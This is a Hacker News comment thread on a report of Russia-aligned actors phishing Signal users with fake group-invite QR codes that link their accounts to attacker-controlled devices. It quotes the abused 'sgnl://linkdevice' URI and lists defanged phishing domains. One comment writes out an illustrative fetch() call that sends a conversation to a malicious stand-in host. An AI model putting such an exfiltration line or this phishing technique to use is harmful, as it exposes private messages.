10 ms·
Multiple Russia-aligned threat actors actively targeting Signal Messenger
- karel-3d 2y agotldr: they mostly use phishing with fake ukrainian army group invites to trick people (from ukrainian army) to link the phone device to a attacker-controlled PC. Also they try to get the actual database SQL files from Windows devices and Android devices.
- deleted 2y ago[deleted]
- anotherhue 2y agoYou can check for unexpected linked devices in the settings menu.
- jzb 2y agoI wonder if Signal should expose linked devices directly in the UI at all times. Something like a small icon that indicates "You have 3 linked devices active" or similar.
- XorNot 2y agoI think the trouble is information overload is a bit of a thing in this case. It's information that is 99% of the time useless, except the one time it isn't. But also, to an informed user is much less of a threat - the threat is anyone you interact with getting compromised. EDIT: Like an analytics based approach would probably be far more useful - popping up a confirmation for example if GeoIP shows a device is far removed from all the others, which for most people would be true unless they were traveling.
- inor0gu 2y agoWould probably lead to notification fatigue. Showing a big snackbar when a new device is added is probably enough, especially if the app can detect there was no "action" on your phone that triggered it. Key transparency, once rolled out, would help to ensure there is no lingering "bad" device around, but phishing will always be a problem.
- inetknght 2y ago> Showing a big snackbar when A big... what? Can you tell me what this new lingo is for someone who doesn't use the latest and shittiest marketing lingo?
- inor0gu 2y ago> latest and shittiest marketing lingo It exists since Android 6: https://developer.android.com/reference/com/google/android/material/snackbar/Snackbar https://developer.android.com/reference/com/google/android/m... Informative banner that does not require user interaction to dismiss.
- saagarjha 2y agoIt’s UI design language: https://developer.android.com/reference/com/google/android/material/snackbar/Snackbar https://developer.android.com/reference/com/google/android/m...
- SpaghettiCthulu 2y agoAn in-app notification along the bottom of your screen. Usually just some text on a dark grey or black background.
- dragonwriter 2y agoSnackbar isn't a particularly new term, it goes back, IIRC, to the first version of Material Design and is similar to a toast but different in that snackbars may support interaction whereas toasts are non-interactive.
- alashow 2y ago
- seb1204 2y agoGreat idea, I'll send you a QR code...
- dang 2y agoRelated: https://www.wired.com/story/russia-signal-qr-code-phishing-attack/ https://www.wired.com/story/russia-signal-qr-code-phishing-a... (https://web.archive.org/web/20250219110740/https://www.wired.com/story/russia-signal-qr-code-phishing-attack/ https://web.archive.org/web/20250219110740/https://www.wired..., https://archive.ph/MbR9e https://archive.ph/MbR9e) (via https://news.ycombinator.com/item?id=43103692 https://news.ycombinator.com/item?id=43103692, but no comments there)
- advisedwang 2y agoKind of a good sign for signal's security that this is the best Russia has got!
- yellowapple 2y agoYeah, this just gave me the last nudge I needed to give Signal a go.
- DemPartyPooper 2y ago[flagged]
- autoexec 2y ago[flagged]
- abuani 2y agoObligatory request to provide a source to backup some serious claims?
- autoexec 2y agoIf you're a signal user and didn't know about this already, that should tell you everything you need to know about signal. See https://community.signalusers.org/t/proper-secure-value-security-pins-are-too-easy-to-brute-force-sgx-is-not-reliable-enough/15096 https://community.signalusers.org/t/proper-secure-value-secu... Then read the first line of their terms and privacy policy page which says: "Signal is designed to never collect or store any sensitive information." (https://signal.org/legal/ https://signal.org/legal/) Signal loves to brag about the times when the government came to them asking for information only to get turned away because Signal never collected any data in the first place. They still brag about it. It hasn't actually been true for years though. Now they're collecting the exact info the government was asking for and they're protecting that data with a not-very-secure/likely backdoored enclave on the server side, and (even worse) a pin on the client side.
- ge96 2y agothat's nice they provided a list of bad domains
- babypuncher 2y ago[flagged]
- karlzt 2y agoOr Wire. https://wire.com/en/ https://wire.com/en/
- untech 2y agoIt is not plainly stated in the article, but as far as I understand, the first step of one of the attacks is to take the smartphone off a dead soldier’s body.
- mmooss 2y agoIs this serious? It raises questions about smartphones being standard equipment for soldiers, but they do give every soldier an effective, powerful computing and communication platform (that they know without additional training). The question is how to secure them, including against the risk described in the parent. That seems like a high risk to me I would expect someone is working on how to secure them enough that even Russian intelligence doesn't have an effective exploit. The solutions may apply well to civilian privacy too, if they ever become more widespread. It wouldn't be the worst idea to secure Ukrainian civilian phones against Russian attackers.
- newsclues 2y agoPhones aren’t secure but are more secure than the standard radios most have access to. Encrypted milspec comms aren’t the standard in a massive war. It’s weird but discord, signal and some mapping apps on smartphones are how this war is being fought.
- dmix 2y agoRussians aren't allowed to bring phones on the frontlines apparently but Ukranians often do still as they have the combat management app which is critical to operations. I've always wondered if this is why there's far more published footage of Ukranian combat video than Russian. Beyond the donation incentive they attached to videos when publishing them on Youtube/Telegram.
- newsclues 2y agoWhere is the fighting, and who runs the cellular networks in that area? I’d want to run military communications on a network my side controls
- casenmgreen 2y agoCan't view the article, as I am an evil Tor user.
- marc_abonce 2y agoMe too, but I was able to access the article through the Internet Archive: https://web.archive.org/web/20250219202428/https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/ https://web.archive.org/web/20250219202428/https://cloud.goo...
- lenerdenator 2y agoI'd love to have more of my socializing happening on Signal. Anyone got a good way to convince the non-paranoid to use it?
- OsrsNeedsf2P 2y ago"Sorry, I only use Signal" has worked nearly a decade for me
- bdangubic 2y agosame
- golergka 2y agoWhat if you need to contact someone and they use whatsapp?
- Henchman21 2y agoIME you say “Sorry I only use Signal” and either they change or you don’t get in contact with that person. If you change and abandon your principles were they really principles in the first place?
- golergka 2y agoHow do you tell that to them in the first place? You got someone's phone number. The person who gives it to you tells them that they use whatsapp. You can't even tell them "Sorry I only use Signal" unless you open whatsapp app.
- basisword 2y agoYou realise you could use that phone number to...call them and let them know? Also - in what situation are they giving you a phone number and telling you they use WhatsApp but you having no way to respond when receiving that info? If it's in person you can explain at the time. If it's taken from a website, call them. Or you can even fall back on SMS.
- p2detar 2y agoLast week it was Microsoft, now Signal, who’s next? https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign https://www.microsoft.com/en-us/security/blog/2025/02/13/sto...
- snailmailstare 2y agoI hate to break it to you, but threat actors aligned with any major state are targeting everything with an Internet presence all of the time.
- deleted 2y ago[deleted]
- 8bithero 2y agoSo a few days ago Elon Musk blocked all links to Signal from the X platform and now this... Could be a coincidence but the timing sure is sus.
- immibis 2y ago[flagged]
- ars 2y ago[flagged]
- prmoustache 2y ago[flagged]
- StanislavPetrov 2y ago[flagged]
- d0mine 2y ago[flagged]
- rpastuszak 2y agoI'm not going to psychoanalyse the brain parasite, but I imagine that the reason to do it could be as petty as shadow banning people with Fediverse (e.g. mastodon) handles in their bios shortly after he took over. Also: > Signal has been a primary method of communication for federal workers looking to blow the whistle on DOGE. > from https://www.disruptionist.com/p/elon-musks-x-blocks-links-to-signal https://www.disruptionist.com/p/elon-musks-x-blocks-links-to... Btw, I don't live in the US but I sketched a simple tool to prevent X from censoring Signal.me links: https://link-in-a-box.vercel.app https://link-in-a-box.vercel.app
- master-lincoln 2y agoOnly signal.me links were blocked as far as I understood. Other signal links kept working. (I have no first hand knowledge as I left Twitter when the owner changed)
- takrqkeH 2y ago[flagged]
- throwaway5752 2y ago[flagged]
- beebaween 2y ago[flagged]
- throwaway5752 2y agoThis has nothing to do with politics. Popping Signal is quaint because it's a channel, not at asset. You don't need to compromise the channel if you have alternate routes to acquire the assets. edit: I will not reply further. What I said would be true regardless of the economic policy or partisan identification of the administration.
- beebaween 2y agoahem... ``` The sitting US President is literally a Russian asset. He is directing his team to divide up a country that Russia invaded in a summit that is not including that country, and stealing a half trillion in their sovereign mineral wealth without their consent. Calling their president an incompetent dictator and claiming being invaded was somehow their fault. ```
- jebarker 2y agoWhy would people give the most significant political events of this century so far "a rest"?
- tredre3 2y agoBecause this thread is about a (potential) technological flaw in a communication app. It has nothing to do with the sitting US president.
- mmooss 2y agoThe thread is about an attack by Russia on the app, which is American, and used by Americans and their allies. The President's policy toward those allies and Russia can have a substantial effect on whether Russia will risk attacking it or whether American security will protect Signal, its users, or its Ukrainian military users.
- vetrom 2y agoSignal (and basically any app) with a linked devices workflow has been risky for awhile now. I touched on this last year (https://news.ycombinator.com/context?id=40303736 https://news.ycombinator.com/context?id=40303736) when Telegram was trash talking Signal -- and its implementation of linked devices has been problematic for a long time: https://eprint.iacr.org/2021/626.pdf https://eprint.iacr.org/2021/626.pdf. I'm only surprised it took this long for an in-the-wild attack to appear in open literature. It certainly doesn't help that signal themselves have discounted this attack (quoted from the iacr eprint paper): "We disclosed our findings to the Signal organization on October 20, 2020, and received an answer on October 28, 2020. In summary, they state that they do not treat a compromise of long-term secrets as part of their adversarial model"
- diputsmonro 2y agoIf I'm reading that right, the attack assumes the attacker has (among other things) a private key (IK) stored only on the user's device, and the user's password. Thus, engaging on this attack would seem to require hardware access to one of the victims' devices (or some other backdoor), in which case you've already lost. Correct me if I'm wrong, but that doesn't seem particularly dangerous to me? As always, security of your physical hardware (and not falling for phishing attacks) is paramount.
- josh2600 2y agoThis is my read as well. Just double clicking here.
- vetrom 2y agoNo, it means that if you approve a device to link, and you later have reason to unlink the device, you can't establish absolutely that the unlinked device can no longer access messages, or decrypt messages involving an account, breaking the forward-secrecy guarantees. That leaves you with the only remedy for a signal account that has accepted a link to a 'bad device' being to burn the whole account. (maybe rotating safety numbers/keys would be sufficient, i am uncertain there) -- If you can prove the malicious link was only a link, then yeah, the attack i described is incomplete, but the issues in general with linked devices and remedies described are the important bits, I think.
- hofrogs 2y ago[dead]
- 1970-01-01 2y agoThe good news is the target is targeted for a reason: it's still effective.
- lovegrenoble 2y agoHighly likely...
- deleted 2y ago[deleted]
- andreygrehov 2y agoThey provided some domains, but not all of them are taken. For example, signal-protect[.]host is available, kropyva[.]site is available, signal-confirm[.]site is registered in Ukraine. Some of them are registered in Russia. Never trust a country at war—any side. Party A blames B, Party B blames A, but both have their own agenda.
- TheSpiceIsLife 2y agoOceania had always been at war with Eastasia.
- nightpool 2y agoAn unregistered domain can still be an IoC especially when found through e.g. payload analysis.
- dtquad 2y ago>signal-confirm[.]site is registered in Ukraine The WHOIS is usually fake made up data so don't know why you are using that to claim it's registered in Ukraine. Russia is also known to use stolen credentials, SIM cards etc. from their neighbouring countries, including Ukraine, for things like this.
- andreygrehov 2y agoThen why should I trust the article at all? If WHOIS data is fake and stolen credentials are common (which I don't disagree with), I could register a domain, put your name on it, and make it look like you're behind the phishing. Would that make it true? After all, in war, deception is a legitimate tactic.
- XorNot 2y ago[flagged]
- dang 2y agoCould you please stop posting in the flamewar style? We've had to ask you this many times already. https://news.ycombinator.com/newsguidelines.html https://news.ycombinator.com/newsguidelines.html
- 4ndrewl 2y ago"Russia-aligned threat actors" has a whole new meaning this last week.
- deleted 2y ago[deleted]
- josefresco 2y agoIndeed. It now potentially includes a very long list of Americans.
- user3939382 2y agoWhat does that mean?
- chinathrow 2y agoTrump and his voters.
- burningChrome 2y ago[dead]
- Juliate 2y agoThey are still all trumpis now.
- warkdarrior 2y agoNobody labeled Trump voters as "redneck, white nationalists" in this thread. The claim was that Trump and his voters are "Russia-aligned", which is obvious at least for Trump and his immediate admin appointees.
- LoganDark 2y agoI don't have opinions on most of this stuff but I know of some distant relative of mine who voted for Trump not because he's some sort of fascist but just because he didn't understand why voting for Trump maybe wasn't the best idea. People like this probably exist all over the place.
- whatever1 2y agoImpossible these are our newly minted allies
- adultSwim 2y agoIs this why twitter has been blocking signal.me links? https://news.ycombinator.com/item?id=43076710 https://news.ycombinator.com/item?id=43076710
- inor0gu 2y agoUnrelated most likely, signal.me is a legitimate domain used by Signal. Doubt twitter is so on top of Threat Analysis when they fumbled their own redirects from twitter.com to x.com for a while.
- chinathrow 2y agoRussia fucking up the worlds stuff this decade will be the material for history books. The are actively breaking Europe and almost noone seems to care.
- amelius 2y agoSecond will be how the internet with social media like twitter/x destroyed our democracy.
- FpUser 2y agoIf Europe is what it claims to be: an enlightened democracy with progressive intelligent populace it can not be broken by demented crap messages from twitter. If however it is fucked up and on a brink of collapse then sure. Little nudge can steer it into "right" direction. but then who is guilty in a first place.
- chinathrow 2y agoYou should read up on how russian money buys influenve, eg. In Moldavia.
- nomat 2y agothe idea that propaganda doesn't work is certainly an interesting one.
- energy123 2y agoThat's part of the propaganda. Please ignore the Internet Research Agency's massive army of troll farms and bots. Please ignore that they controlled half of the largest American Facebook groups catering to racial identity or religion. Nothing to see and no impact.
- josh2600 2y agoThere are many voices which try to tell you that signal is compromised. Notice that all of those voices have less open-source-ness than Signal in virtually all cases. Signal is doing its best to be a web scale company and also defend human rights. Individual dignity matters. This is not a simple conversation.
- mmooss 2y agoAlso, it's a tricky environment of disinformation generally, and in particular for anything valuable like Signal. If Signal is secure, attackers on privacy would want people to believe Signal is compromised and to use something else. If it's not, then they would want people to believe Signal is secure. I think the solution is to completely ignore any potential disinfo source, especially random people on social media (including HN). It's hard to do when that's where the social center is - you have to exclude yourself. Restrict yourself to legitimate, trusted voices.
- inor0gu 2y agoI would also read it from another perspective. Attackers, especially at the level of nation states, will always try to get as many avenues for achieving their goals as possible. If you have compromised a service, it would be in your interest to make it more popular (assuming you think you are the only one in possession of it). If you cannot, you don't give up; you just go back to the drawing board (https://xkcd.com/538/ https://xkcd.com/538/). Maybe I don't need to break Signal if I can just rely on phishing or scare tactics to get what I want.
- moffkalast 2y ago> web scale I didn't realize anyone still used that term with a straight face. "MongoDB is web scale, you turn it on and it scales right up."
- 20after4 2y agoI've struggled occasionally with trying to describe a similar concept without using that tainted term.
- deleted 2y ago[deleted]
- evilfred 2y ago"Russia-aligned threat"... so... the US?
- BrenBarn 2y agoIs this suggesting that a single QR scan can on its own perform the device linking? If so, it seems like that's kind of the hole here, right? Like you shouldn't be able to scan a code that on its own links the device; you should have to manually confirm with like "Yes I want to link to this device". And then if you thought you were scanning a group invite code you'd realize you weren't. (Yeah, you'd still have to realize that, but I think it's a meaningful step up over just "you scanned a code to join a group and instead it silently linked a different device".)
- mmooss 2y ago> you should have to manually confirm with like "Yes I want to link to this device". And then if you thought you were scanning a group invite code you'd realize you weren't. (Yeah, you'd still have to realize that, but I think it's a meaningful step up over just "you scanned a code to join a group and instead it silently linked a different device".) Remember that Signal is designed for non-technical users. Many/most do not understand QR codes, links, linking, etc, and they do not think much about it. They take an immediate, instinctive guess and click on something - often to get it off the screen so they can go back to what they were doing. Do you have reason to think there is not confirmation? Maybe Signal's documentation will tell you.
- KennyBlanken 2y ago> Maybe Signal's documentation will tell you. Not the person you replied to, but I just tried googling half a dozen different terms and got results that have nothing to do with Signal. > Remember that Signal is designed for non-technical users. That does not prevent them from putting up a warning message that says "You just scanned a code which will allow another device to read all future messages sent to you, and send messages from your identity. Are you sure you want to do that? And the button says "link devices", not "yes" or "no." I think the frustration here is that Signal petulantly and paternalistically refuses to allow you to fully sync to another device (and for years refused to even allow you to back up messages) because supposedly we can't be trusted with such a thing...but then they leave the QR code system so idiotically designed it's apparently trivial to phish people into linking their devices to malicious actors? Why the fuck does scanning a QR code, without having first selected "link device", even open that dialog? Or require a PIN code they obsessively force us to re-enter all the time? It's obviously ripe for abuse. We admonish people for piping a remote document into their shell but a QR code that links devices with one click is OK?
- Yeul 2y agoHonestly don't use Signal for privacy or anonymity. I switched to it because it is not owned by a sycophant of Trump. Oh how Americans make fun of the CCP but watching all the tech bros bend the knee was embarrassing.
- paganel 2y agoAlphabet is working in tandem with the Ukrainian SBU? Interesting choice, just as the US President has called Zelensky a dictator (and for good reason, Poroshenko, the previous Ukrainian president, has basically said the same thing a few days ago). I wonder how long the Alphabet higher-ups will allow this thing to unfold, or maybe they're not so good at reading the geopolitical tea leaves.
- BLKNSLVR 2y ago> US President has called Zelensky a dictator (and for good reason, Poroshenko, the previous Ukrainian president, has basically said the same thing a few days ago) You can't be serious that you consider that to be a good enough reasoning. Zelensky's support / approval rating is well over 50% (according to polls). Zelensky defeated Poroshenko, getting 73% of the vote in the 2019 election.
- paganel 2y ago> Zelensky defeated Poroshenko And yet he still felt the need to start politically repressing Poroshenko with sanctions and branding him a traitor, that's the mark of having a dictator in command of things.
- def_true_false 2y agoWhy are you repeating Kremlin's talking points? Using the exact same reasoning, Churchill would be a dictator, too.
- 2y ago
- parhamn 2y agoOne thing I'm realizing more and more (I've been building an encrypted AI chat service which is powered by encrypted CRDTs) is that "E2E encryption" really requires the client to be built and verified by the end user. I mean end of the day you can put a one-line fetch/analytics-tracker/etc on the rendering side and everything your protocol claimed to do becomes useless. That even goes further to the OS that the rendering is done on. The last bit adds an interesting facet, even if you manage to open source the client and manage to make it verifiably buildable by the user, you still need to distribute it on the iOS store. Anything can happen in the publish process. I use iOS as the example because its particularly tricky to load your own build of an application. And then if you did that, you still need to do it all on the other side of the chat too, assuming its a multi party chat. You can have every cute protocol known to man, best encryption algorithms on the wire, etc but end of the day its all trust. I mention this because these days I worry more that using something like signal actually makes you a target for snooping under the false guise that you are in a totally secure environment. If I were a government agency with intent to snoop I'd focus my resources on Signal users, they have the most to hide. Sometimes it all feels pointless (besides encrypted storage). I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?
- inor0gu 2y agoYou will always have to root your trust in something, assuming you cannot control the entire pipeline from the sand that becomes the CPU silicone, through the OS and all the way to how packets are forwarded from you to the person on the other end. This makes that entire goal moot; eliminating trust thus seems impossible, you're just shifting around the things you're willing to trust, or hide them behind an abstraction. I think what will become more important is to have enough mechanisms to be able to categorically prove if an entity you trust to a certain extent is acting maliciously, and hold them accountable. If economic incentives are not enough to trust a "big guy", what remains is to give all the "little guys" a good enough loudspeaker to point distrust. A few examples: - certificate transparency logs so your traffic is not MitM'ed - reproducible builds so the binary you get matches the public open source code you expect it does (regardless of its quality) - key transparency, so when you chat with someone on WhatsApp/Signal/iMessage you actually get the public keys you expect and not the NSA's
- deleted 2y ago[deleted]
- nikolay 2y ago[flagged]
- tegafsd 2y agoIt isn't that bad in the comment sections of German newspapers, where people are more open to diverse opinions. If a center right newspaper like "Die Welt" or "Focus" writes an anti Russian article, you can easily have 80% of 1000 comments demanding peace negotiations and ending the whole business. And they are real comments, because the German is so idiomatic with regional dialects that it would be hard to fake even for an AI. Also in the Financial Times the comments sections can be split 50/50. By the way, the excessive use of the "Russian hacker" meme has been a source of amusement in the German hacker scene even before 2022.
- nomat 2y agowell for one they're targeting ukrainian soldiers..
- wiseowise 2y agoBulgarian gypsies (what?) didn’t start a war against Germany, Nikolay.
- nikolay 2y agoIt's the principle. Germans started the most destructive war in human history, but they are not vilified as much as the Russians!
- walteweiss 2y ago[dead]
- twaKJ 2y agoIf Russia retreats from the occupied territories, heaps guilt on itself for the next 80 years and does not start new wars, it won't be vilified 80 years from now. Also, of course, Germany and WW2 are mentioned constantly in Russia itself even today, while most new wars in the past 40 years have been started by the US or Russia.
- aussieguy1234 2y agoPhone verification is a common method used here. If somehow, the victims phone provider can be compromised or coerced into cooperating, the government actor can intercept the text message Signal and others use for verification and set up the victims account on a new device. It's very easily done if the victim is located in an authoritarian county like Russia or Iran, they can simply force the local phone provider to co-operate.
- inor0gu 2y ago> government actor can intercept the text message Signal and others use for verification and set up the victims account on a new device Yes, but if they only control the phone number, you they will register a new account (different cryptographic keys) for you, which is why everyone previously chatting with you will get that "Your Safety Number with Bob changed" message.
- lifeinthevoid 2y agoThey should add an option to not allow linking additional devices, if that’s feasible.
- aembleton 2y ago> In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792. Missing from their recommendations: Install No Script: https://noscript.net/ https://noscript.net/
- cassepipe 2y agoNo Script is a browser extension. Signal is an Android/Ios/Electron app so no
- aembleton 2y agoIn each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792. Source: https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger https://cloud.google.com/blog/topics/threat-intelligence/rus...
- gck1 2y ago> Android supports alphanumeric passwords, which offer significantly more security than numeric-only PINs or patterns. Ironic, coming from Google. As Android is THE only OS where usage of alphanumeric passwords is nearly impossible, as Android limits the length of a password to arbitrary 16 characters, preventing usage of passphrases.
- sharpshadow 2y ago“Russia's re-invasion of Ukraine” Reading this for the first time, what is a “re-invasion”? Do they mean the explained cyber attack as second invasion aka “re-invasion”?
- cassepipe 2y agoInvasion of Crimea 2014 Re-invasion in February 2022
- Shorel 2y agoSignal should be doing something well.
- robbale 2y ago[dead]
- JohnnyLarue 2y agoState-aligned, huh? This is the US State Department talking point equivalent of a movie poster that brags, "From the studio that brought you..."
- mppm 2y agoAm I reading this right? You can initiate device linking in Signal by clicking on an external URL? This is so stupid, I don't even have words for this. In a security-focused app you should not be able to link anything, without manually going into the devices/link menu and clicking "link new device".